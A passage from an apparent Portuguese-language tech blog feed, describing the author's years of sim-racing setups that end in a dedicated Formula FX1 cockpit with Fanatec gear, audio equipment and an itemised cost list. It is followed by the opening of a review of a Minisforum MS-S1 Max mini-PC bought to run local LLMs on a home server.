<p>Depois eu fiz um setup com cabo HDMI de fibra óptica longo pra conectar minha TV de 60&quot; ao PC nos fundos da sala. Movi o suporte pra frente do sofá. Menos trabalhoso, mas eu ainda tinha que desmontar quando queria assistir filme com minha namorada.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-big-tv.jpg" alt="Setup com a TV grande — melhor, mas ainda trabalhoso"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-in-the-living-room.jpg" alt="O suporte na sala de estar — sempre no caminho"  loading="lazy" /></p>
<p>Por volta de 2024 ou 2025 eu troquei meu sofá por um daqueles sofás VIP de cinema da <a href="https://www.starseat.com.br/sofa-cinema-sofa-cinema"target="_blank" rel="noopener">Star Seat</a>, que reclina e tudo. Problema: era muito mais alto que o sofá anterior. Tive que fazer todo tipo de gambiarra pra fazer o suporte funcionar naquela altura. Cheguei a imprimir suportes em 3D e mandar pra PCBWay usinar placas de aço pra prender rodas grandes embaixo do suporte e ganhar uns centímetros de altura. Mas isso deixou o setup muito instável pra dirigir confortavelmente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-support-sofa-too-high.jpg" alt="O problema: sofá VIP alto demais pro suporte — gambiarra total"  loading="lazy" /></p>
<h3>Era Fanatec CSL DD + Direct Drive (~2024-2025)<span class="hx:absolute hx:-mt-20" id="era-fanatec-csl-dd--direct-drive-2024-2025"></span>
    <a href="#era-fanatec-csl-dd--direct-drive-2024-2025" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Nesse meio tempo eu dei o T300 pro meu irmão e fiz o upgrade pra um <a href="https://fanatec.com/eu-en/racing-wheels-wheel-bases/racing-wheels/gran-turismo-dd-pro-5-nm-wheel-base"target="_blank" rel="noopener">Fanatec CSL DD Gran Turismo Edition</a>. O motor direct drive do CSL DD entrega 5 Nm de torque na base, mas o kit Gran Turismo DD Pro já vem com o Boost Kit 180 que sobe pra 8 Nm sustentados sem cooling ativo. Direct drive significa que não tem engrenagem nem correia entre o motor e o volante — o eixo do motor É o eixo do volante. A diferença é absurda. O T300 já era ótimo, muito superior ao Logitech. Mas o Fanatec está em outro patamar. Você sente cada textura do asfalto, cada lombada, cada derrapagem incipiente. Não tem como voltar atrás depois que experimenta.</p>
<p>Comprei junto o kit de <a href="https://fanatec.com/eu-en/pedals/csl-pedals"target="_blank" rel="noopener">pedais CSL com Load Cell</a>, que mede pressão no freio em vez de deslocamento. Faz toda a diferença na frenagem — você aprende a dosar pela força do pé, não pela distância que o pedal percorre. Muito mais natural.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-direct-drive-close-up.jpg" alt="Close-up do motor Fanatec CSL DD direct drive"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-csl-pedals.jpg" alt="Pedais Fanatec CSL com Load Cell Kit"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec---shifter.jpg" alt="O shifter Fanatec — câmbio manual com knob cromado"  loading="lazy" /></p>
<p>Eu também quis experimentar o câmbio manual H-pattern com o <a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">ClubSport Shifter SQ V1.5</a> da Fanatec e o freio de mão separado. É legal pra experimentar carros antigos com embreagem e câmbio H, mas na prática eu não me adaptei. O suporte SXT V2 já balançava bastante com o direct drive, e usar o shifter naquele setup instável era frustrante. E eu sei que tem gente que quer fazer &ldquo;ponta e calcanhar&rdquo; (heel-toe), mas no simulador eu prefiro ter o pé esquerdo no freio e o direito no acelerador e dosar os dois ao mesmo tempo. Funciona melhor pra mim. Agora que eu tenho o volante McLaren com os paddles analógicos de freio de mão e embreagem direto no volante, o câmbio H e o handbrake externo ficaram aposentados. Pra rally, o handbrake analógico no volante é muito mais natural.</p>
<p>Também comprei o PS5 com Gran Turismo 7 nessa época. Coloquei as <a href="https://dbrand.com/shop/ps5"target="_blank" rel="noopener">dbrand Darkplates</a> matte black pra trocar as placas brancas originais — fica muito mais bonito e discreto.</p>
<p>Mas o setup ainda era o suporte SXT V2 na frente do sofá VIP. A mesma gambiarra. O mesmo balanço. Eu não ia desistir do sofá de cinema, claro. A situação ficou insustentável.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-with-support.jpg" alt="O Fanatec CSL DD no suporte SXT V2 — poderoso demais pro suporte aguentar"  loading="lazy" /></p>
<h2>O computador e o setup de hardware<span class="hx:absolute hx:-mt-20" id="o-computador-e-o-setup-de-hardware"></span>
    <a href="#o-computador-e-o-setup-de-hardware" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma nota sobre meu hardware de gaming. Eu comprei um <a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a> pra ser minha máquina dedicada de Steam. É um mini-PC com processador Intel Core Ultra 9 285H, que cabe na palma da mão. Junto comprei o <a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1</a>, um dock de GPU externo que conecta via OCuLink (PCIe 4.0 x4, 64 GT/s). É um design aberto — basicamente uma placa com slot PCIe x16 e espaço pra fonte ATX ou SFX. Não tem limitação de tamanho de placa, então cabe uma RTX 4090 tranquilamente. A perda de performance comparado a um slot PCIe nativo é mínima. Coloquei a RTX 4090 nele. A 4090 veio do meu desktop — no começo de 2025 eu viajei pra Miami e aproveitei pra comprar uma RTX 5090 porque estava usando cada vez mais IA e LLMs locais. Dei a 3090 antiga pra minha namorada usar na edição de vídeo. A 4090 foi pro mini-PC.</p>
<p>Então meu setup de gaming hoje é: Minisforum UX790 Pro + eGPU com RTX 4090 pra Steam e jogos de PC, e PlayStation 5 com Darkplates matte black pra Gran Turismo 7 e exclusivos.</p>
<h2>O cockpit: Formula FX1<span class="hx:absolute hx:-mt-20" id="o-cockpit-formula-fx1"></span>
    <a href="#o-cockpit-formula-fx1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra completar o setup eu também precisava de um monitor decente. Eu já estava acostumado com minha TV OLED Samsung de 80&quot; na sala e não queria dar um downgrade na qualidade de imagem. Então investi no <a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 de 32&quot;</a>. É um monitor 4K (3840x2160) OLED com 240 Hz de refresh rate, 0.03 ms de tempo de resposta (GTG), HDR True Black 400, HDR10+, 99% de cobertura DCI-P3, contraste de 1.000.000:1, e FreeSync Premium Pro. Tem 2 entradas HDMI 2.1 e 1 DisplayPort 1.4.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/closed-delivery-box.jpg" alt="A caixa do Samsung Odyssey OLED G8 de 32&#34; quando chegou"  loading="lazy" /></p>
<p>Na prática: as cores explodem, preto é preto de verdade (é OLED, não tem backlight), e com a RTX 4090 eu rodo a maioria dos jogos em 4K a 120 fps tranquilo. Em títulos mais leves como o Super Woden: Rally Edge, chega fácil nos 240 Hz. A fluidez é absurda. Pra um cockpit onde você está a uns 60-70 cm da tela, 32&quot; OLED em 4K é o sweet spot. Maior que isso e você começaria a enxergar pixels. Menor e perde a imersão.</p>
<p>Em janeiro de 2026, depois de anos de gambiarra, eu finalmente encomendei um cockpit dedicado. Pesquisei bastante. Considerei o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-ax160-horizontal?variant=52008751431961"target="_blank" rel="noopener">Cockpit AX160</a>, que é de perfil de alumínio e muito modular, e o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-4-0-horizontal?variant=52004294852889"target="_blank" rel="noopener">Cockpit 4.0</a>, que é de aço tubular mais tradicional. Mas nenhum dos dois estava disponível no momento da compra. E aí eu encontrei o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Formula FX1 preto e verde</a> da Extreme Racing — cores Petronas, estilo F1.</p>
<p>O FX1 é muito diferente dos cockpits tradicionais. A estrutura inteira é de tubos de aço grossos, soldados. Quando eu digo que a coisa não balança, eu quero dizer que não balança nada. Zero wobble. É uma diferença brutal em relação ao suporte na frente do sofá. A posição de pilotagem é reclinada, tipo F1 — seus pés ficam na mesma altura ou mais altos que seu quadril. Parece que vai ser desconfortável, mas não é. Dá pra ficar horas ali sem reclamar. Vem com banco acolchoado e ajustável, suporte pra monitor com articulação, suporte pra pedais com inclinação ajustável, e suporte pra volante com altura regulável.</p>
<p>Tive que esperar cerca de 1 mês pela entrega. No meio tempo, como quem acompanha meu blog sabe, eu mergulhei numa maratona de 16 horas por dia testando os novos agentes de IA da Anthropic e OpenAI — veja as tags <a href="/tags/vibe-coding/">#vibecoding</a> e <a href="/tags/inteligencia-artificial/">#agents</a> pra ver tudo que eu fiz. Depois de uns 30 dias nessa maratona insana, minha lombar cedeu e eu comecei a desenvolver o que parece ser hérnia de disco. Tive que ir ao médico e tomar anti-inflamatórios pesados.</p>
<p>E exatamente nessa semana, o cockpit decidiu chegar.</p>
<h3>A montagem<span class="hx:absolute hx:-mt-20" id="a-montagem"></span>
    <a href="#a-montagem" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu estava com dor absurda, mas montei o cockpit assim mesmo. Levou o dia inteiro pra desembalar e montar as peças de aço pesadas com a lombar gritando, mas eu fiz.</p>
<p>O vídeo de montagem oficial que eu segui:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/WnocqqhmZas"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/first-pieces-mounted.jpg" alt="Primeiras peças montadas — a base e a estrutura do banco"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted.jpg" alt="Estrutura quase completa — banco, suporte do volante, pedais"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted-from-front.jpg" alt="Vista frontal da estrutura quase pronta"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/almost-mounted,-with-monitor.jpg" alt="Montagem quase completa com o suporte do monitor"  loading="lazy" /></p>
<h3>O volante McLaren GT3 V2<span class="hx:absolute hx:-mt-20" id="o-volante-mclaren-gt3-v2"></span>
    <a href="#o-volante-mclaren-gt3-v2" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Depois de montar o cockpit, eu decidi que o volante padrão que vem com o kit CSL GT não era suficiente. Fiz o upgrade pro <a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a> (~R$ 4.990). É uma réplica em escala real do volante do McLaren GT3, com fibra de carbono, display OLED, e compatível com PC, Xbox, PS4 e PS5.</p>
<p>O que eu mais gosto nele: tem as borboletas de câmbio normais atrás (shift up/down), mas também tem dois paddles analógicos adicionais que podem ser configurados em quatro modos diferentes. No modo B, que é o que eu uso, o paddle esquerdo funciona como handbrake analógico e o direito como embreagem analógica. Isso é perfeito pra rally — eu consigo puxar o freio de mão no meio da curva sem tirar a mão do volante. Tem também dois toggles de 2 posições, dois rotary de 12 posições, 7 botões padrão com caps intercambiáveis, e o FunkySwitch de 7 direções da Fanatec. É um controle completo de corrida.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mclaren-wheel.jpg" alt="O volante McLaren GT3 V2 montado no cockpit — fibra de carbono e display OLED"  loading="lazy" /></p>
<h2>O setup final<span class="hx:absolute hx:-mt-20" id="o-setup-final"></span>
    <a href="#o-setup-final" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O cockpit ficou num cantinho do meu quarto, entre as estantes de mangá (dá pra ver Akira, Initial D, e uns 500 outros volumes atrás). Montei o mini-PC e o PS5 na estrutura lateral do cockpit, junto com a eGPU e a RTX 4090. Tudo fica permanentemente conectado. É isso que faz a diferença: eu não preciso mais montar nem desmontar nada. Sento, ligo, e estou dirigindo em 30 segundos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fully-mounted-from-side.jpg" alt="Vista lateral do cockpit completo — entre as estantes de mangá"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/all-consoles-from-front.jpg" alt="Os consoles montados na estrutura: PS5 com Darkplates, Minisforum UX790 Pro, eGPU com RTX 4090"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/close-up-of-the-consoles-from-front.jpg" alt="Close-up dos consoles e cabeamento"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/sitting-angle.jpg" alt="A perspectiva do piloto — é assim que eu vejo quando estou sentado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view-from-front.jpg" alt="PS5 mostrando a lista de jogos — Gran Turismo 7 no topo"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/another-fully-mounted-shot.jpg" alt="O cockpit completo visto de trás"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/from-front-gran-turismo-h264.mp4" type="video/mp4">
  </video>
  <em>Gran Turismo 7 rodando no cockpit final</em>
</div>
<h2>O sistema de áudio<span class="hx:absolute hx:-mt-20" id="o-sistema-de-áudio"></span>
    <a href="#o-sistema-de-%c3%a1udio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra completar o setup eu precisava de áudio dedicado. Eu não queria usar o áudio do monitor (péssimo) nem ficar sempre de headset. A solução foi montar um sistema de áudio separado com extração de áudio do HDMI.</p>
<p>A peça central é um <a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">switcher HDMI 2.1 da OREI</a> com extração de áudio. Ele tem 2 entradas e 1 saída HDMI, suporta 4K a 120Hz (48 Gbps de bandwidth), e extrai o áudio via saída óptica TOSLINK e P2 3.5mm. Eu conecto a saída HDMI da RTX 4090 numa entrada e o PS5 na outra. O vídeo vai pro monitor. O áudio sai pela óptica.</p>
<p>O áudio óptico vai pra um <a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">amplificador Aiyima D03</a>, um amp compacto 2.1 canais com 150W por canal, DAC integrado (chip PCM1808), e Bluetooth 5.0 com aptX HD. Ele tem entrada óptica, coaxial, USB, RCA e Bluetooth. Tem até saída dedicada pra subwoofer quando eu resolver adicionar um. Usa chip amplificador TAS5624 da Texas Instruments e tem controle de graves e agudos pelo controle remoto. Pra um setup de cockpit onde você está a 1 metro das caixas, 150W é mais que suficiente.</p>
<p>Na prática, eu deixo o amplificador em 50% e o volume do Windows em 50%, e isso já fica alto pra caramba. Ou seja: não é um sisteminha &ldquo;quebra-galho&rdquo;. Está equipado pra tocar realmente alto se eu quiser.</p>
<p>As caixas são <a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12</a>, passivas, com woofer de 4 polegadas e tweeter de 19mm. Resposta de frequência de 55Hz a 20kHz, impedância de 6 ohms, potência de 20W RMS cada. O gabinete de MDF com acabamento em madeira tem um porte-reflex traseiro que ajuda nos graves. Pra caixas passivas desse tamanho, elas entregam bem. O mid-range sai limpo e os agudos não distorcem mesmo no volume alto.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-equipment.jpg" alt="Os equipamentos de áudio — caixa do Aiyima D03 e do Edifier P12"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-speakers-next-to-other-stuff.jpg" alt="As Edifier P12 posicionadas nas estantes ao lado do cockpit, junto com a coleção de Akira e miniaturas de carros"  loading="lazy" /></p>
<p>A lógica do setup é: HDMI switcher faz o chaveamento entre PS5 e PC, extrai o áudio pra óptica, o amp converte e amplifica, e as caixas passivas entregam o som. Tudo sem precisar tocar no monitor ou trocar cabos. Aperto um botão no switcher e troco de console.</p>
<p>Quando eu quero jogar sem incomodar ninguém, conecto meu <a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a> direto na saída P2 do switcher HDMI. O Meze 109 Pro é um headphone aberto com drivers dinâmicos de 50mm, impedância de 40 ohms, sensibilidade de 112 dB SPL/1mW, e resposta de 5Hz a 30kHz. Os ear cups são de madeira de nogueira com acabamento artesanal. É um headphone audiófilo que funciona perfeitamente sem amplificador dedicado graças à impedância baixa. O som é quente, com graves cheios e mids ricos. Dá pra ouvir cada detalhe do ronco dos motores.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/meze-headset.jpg" alt="Meze 109 Pro — madeira de nogueira, som audiófilo"  loading="lazy" /></p>
<p>Ainda não decidi sobre subwoofer, mas vai ser meu próximo upgrade. Um sub dedicado vai adicionar aquele peso nos graves que faz você sentir o motor no peito.</p>
<h2>O veredito<span class="hx:absolute hx:-mt-20" id="o-veredito"></span>
    <a href="#o-veredito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O sofa com suporte funciona. A mesa do PC com suporte funciona. Mas nenhum dos dois chega perto de um cockpit dedicado. A estrutura de aço do FX1 não mexe nem um milímetro, mesmo com o direct drive do Fanatec dando torque máximo. A posição F1 reclinada é confortável pra sessões de horas. Os pedais com load cell ficam firmes na base. O monitor fica exatamente na altura e distância certas. E o melhor de tudo: está sempre pronto. Eu não preciso montar, desmontar, passar cabo, nada. Sento e dirijo.</p>
<p>Pra quem está na dúvida se vale a pena investir num cockpit dedicado vs. ficar com suporte na mesa ou no sofá: vale. Se você já tem um volante direct drive, o cockpit é a peça que falta. Eu passei anos achando que &ldquo;tá bom assim&rdquo; com o suporte no sofá. Não tava. A diferença na dirigibilidade é outra coisa. E pro meu caso — introvertido, single-player only, simcade — não podia ter montado antes. Pra falar a verdade, eu acho que finalmente cheguei no meu setup de simulador perfeito pro meu gosto.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view.jpg" alt="O monitor ligado com a vista do piloto"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/video-testing-h264.mp4" type="video/mp4">
  </video>
  <em>Eu dirigindo no cockpit final</em>
</div>
<h2>Lista de compras: quanto custou tudo<span class="hx:absolute hx:-mt-20" id="lista-de-compras-quanto-custou-tudo"></span>
    <a href="#lista-de-compras-quanto-custou-tudo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui está a lista consolidada de tudo que compõe meu setup atual, com preços aproximados (alguns comprei em dólar, converti pra real na cotação da época):</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Preço Estimado (R$)</th>
          <th>Link</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Cockpit Formula FX1 Preto e Verde</a></td>
          <td style="text-align: right">~6.290</td>
          <td>Extreme Racing</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/sim-racing-bundles/crd-9020007-8nm-us/gran-turismo-dd-pro-8nm-qr2l-us"target="_blank" rel="noopener">Fanatec Gran Turismo DD Pro 8Nm (motor + volante + pedais + Boost Kit)</a></td>
          <td style="text-align: right">~9.590</td>
          <td>Fanatec / Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/pedals/csl_p_lc/csl_pedals_lc"target="_blank" rel="noopener">Fanatec CSL Pedals LC (com Load Cell)</a></td>
          <td style="text-align: right">~1.500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a></td>
          <td style="text-align: right">~4.990</td>
          <td>Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">Fanatec ClubSport Shifter SQ V1.5</a></td>
          <td style="text-align: right">~2.500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a></td>
          <td style="text-align: right">~5.000</td>
          <td>Minisforum</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1 eGPU Dock</a> + RTX 4090</td>
          <td style="text-align: right">~12.000</td>
          <td>Minisforum / comprado separado</td>
      </tr>
      <tr>
          <td>PlayStation 5 + <a href="https://dbrand.com/shop/limited-edition/ps5"target="_blank" rel="noopener">dbrand Darkplates</a></td>
          <td style="text-align: right">~4.500</td>
          <td>Sony / dbrand</td>
      </tr>
      <tr>
          <td><a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a></td>
          <td style="text-align: right">~2.500</td>
          <td>Samsung</td>
      </tr>
      <tr>
          <td><a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">OREI BK-21A HDMI 2.1 Switcher 2x1 com extração de áudio</a></td>
          <td style="text-align: right">~450</td>
          <td>Amazon</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Amplificador Aiyima D03</a></td>
          <td style="text-align: right">~900</td>
          <td>Mercado Livre</td>
      </tr>
      <tr>
          <td><a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12 (par)</a></td>
          <td style="text-align: right">~799</td>
          <td>Edifier</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a></td>
          <td style="text-align: right">~5.390</td>
          <td>Mercado Livre / Heinrich Audio</td>
      </tr>
      <tr>
          <td>Cabos (HDMI 2.1, óptico, P2, energia)</td>
          <td style="text-align: right">~300</td>
          <td>Diversos</td>
      </tr>
      <tr>
          <td><strong>TOTAL ESTIMADO</strong></td>
          <td style="text-align: right"><strong>~56.709</strong></td>
          <td></td>
      </tr>
  </tbody>
</table>
<p>Sim, quase R$ 57 mil é bastante dinheiro. Eu trabalhei feito um condenado por décadas. Agora que consegui me aposentar honestamente, minha família está bem amparada, não tenho dívidas, e eu posso finalmente me dar algo que eu sempre quis quando era moleque mas não tinha como bancar. Quando eu sentava naqueles cabinets de OutRun e Daytona USA no fliperama, eu sonhava em ter algo assim em casa. Levou 30 e poucos anos, mas cheguei lá.</p>
<p>E se você somar os anos de gambiarras, suportes que não funcionavam, cabos HDMI de 15 metros, impressões 3D, placas de aço usinadas, e a frustração de montar e desmontar tudo — o cockpit dedicado economiza sanidade. Diferente de um PC que deprecia rápido, um cockpit de aço dura décadas.</p>
]]></content:encoded><category>games</category><category>hardware</category><category>off-topic</category></item><item><title>Review: Minisforum MS-S1 Max | AMD AI Max+ 395 com 96GB de VRAM</title><link>https://akitaonrails.github.io/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/</guid><pubDate>Tue, 31 Mar 2026 15:00:00 -0300</pubDate><description>&lt;p&gt;Quem acompanha meus posts sobre &lt;a href="https://akitaonrails.github.io/2024/04/03/meu-netflix-pessoal-com-docker-compose/"&gt;home server&lt;/a&gt; sabe que eu rodava tudo num Intel NUC Core i7 com 32GB de RAM. Funcionava. Mas com o crescimento dos modelos de IA open source, o NUC virou um gargalo. Sem GPU dedicada, qualquer inferência de LLM ia pra CPU e ficava inutilizável.&lt;/p&gt;
&lt;p&gt;Eu comprei um Minisforum MS-S1 Max com o novo chip AMD Ryzen AI Max+ 395 por um motivo específico: esse chip suporta até 128GB de RAM unificada, e eu posso alocar 96GB como VRAM pro iGPU. Isso me dá mais VRAM do que qualquer placa gamer comercial, incluindo a RTX 5090 (32GB). E isso muda o que eu consigo rodar localmente.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem acompanha meus posts sobre <a href="/2024/04/03/meu-netflix-pessoal-com-docker-compose/">home server</a> sabe que eu rodava tudo num Intel NUC Core i7 com 32GB de RAM. Funcionava. Mas com o crescimento dos modelos de IA open source, o NUC virou um gargalo. Sem GPU dedicada, qualquer inferência de LLM ia pra CPU e ficava inutilizável.</p>
<p>Eu comprei um Minisforum MS-S1 Max com o novo chip AMD Ryzen AI Max+ 395 por um motivo específico: esse chip suporta até 128GB de RAM unificada, e eu posso alocar 96GB como VRAM pro iGPU. Isso me dá mais VRAM do que qualquer placa gamer comercial, incluindo a RTX 5090 (32GB). E isso muda o que eu consigo rodar localmente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-desk.jpg" alt="Minisforum MS-S1 Max na mesa"  loading="lazy" /></p>
<h2>Por que trocar o Intel NUC<span class="hx:absolute hx:-mt-20" id="por-que-trocar-o-intel-nuc"></span>
    <a href="#por-que-trocar-o-intel-nuc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O NUC serviu bem como servidor Docker por dois anos. Mas a limitação era clara: sem GPU com VRAM suficiente, eu não conseguia rodar LLMs localmente de forma usável. O <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, meu sistema de tradução automática de mangás, precisava de OCR via CPU (lento) e conectava remotamente no Ollama do meu desktop (AMD 7950X3D + RTX 5090) pra tradução. Funcionava, mas significava que meu desktop precisava estar ligado pro servidor funcionar.</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/FrankYomik/master/docs/sample_translate.png" alt="Frank Yomik - tradução automática de mangás"  loading="lazy" /></p>
<p>Com o Minisforum, o Frank Yomik roda inteiramente no servidor. O worker agora usa ROCm pra OCR com a iGPU, e o Ollama roda local com 96GB de VRAM. Zero dependência do desktop.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-nuc-compare.jpg" alt="Comparação: Intel NUC (esquerda) vs Minisforum MS-S1 Max (direita)"  loading="lazy" /></p>
<p>Na foto dá pra ter uma ideia do tamanho. O NUC é aquele cubinho pequeno na esquerda. O Minisforum é maior, mas ainda é um mini-PC. Cabe na prateleira do rack embaixo do Synology NAS sem problema.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-shelf.jpg" alt="Minisforum instalado na prateleira, ao lado do NAS"  loading="lazy" /></p>
<h2>As specs<span class="hx:absolute hx:-mt-20" id="as-specs"></span>
    <a href="#as-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-fastfetch.png" alt="fastfetch do Minisforum"  loading="lazy" /></p>
<p>O chip é o AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, com iGPU Radeon 8060S integrada e 128GB de LPDDR5X unificada. No BIOS, eu configurei UMA Frame Buffer Size pra 96GB, o que deixa ~30GB de RAM pro sistema operacional e containers. Mais os parâmetros de kernel pra TTM (sem eles, o ROCm só enxerga 15.5GB mesmo com a alocação do BIOS).</p>
<p>O sistema operacional é openSUSE MicroOS (mais sobre isso no <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">próximo post</a>). O consumo de energia da máquina inteira fica abaixo de 100W, o que é absurdo pra quem está acostumado com GPUs dedicadas que puxam 450W+ sozinhas.</p>
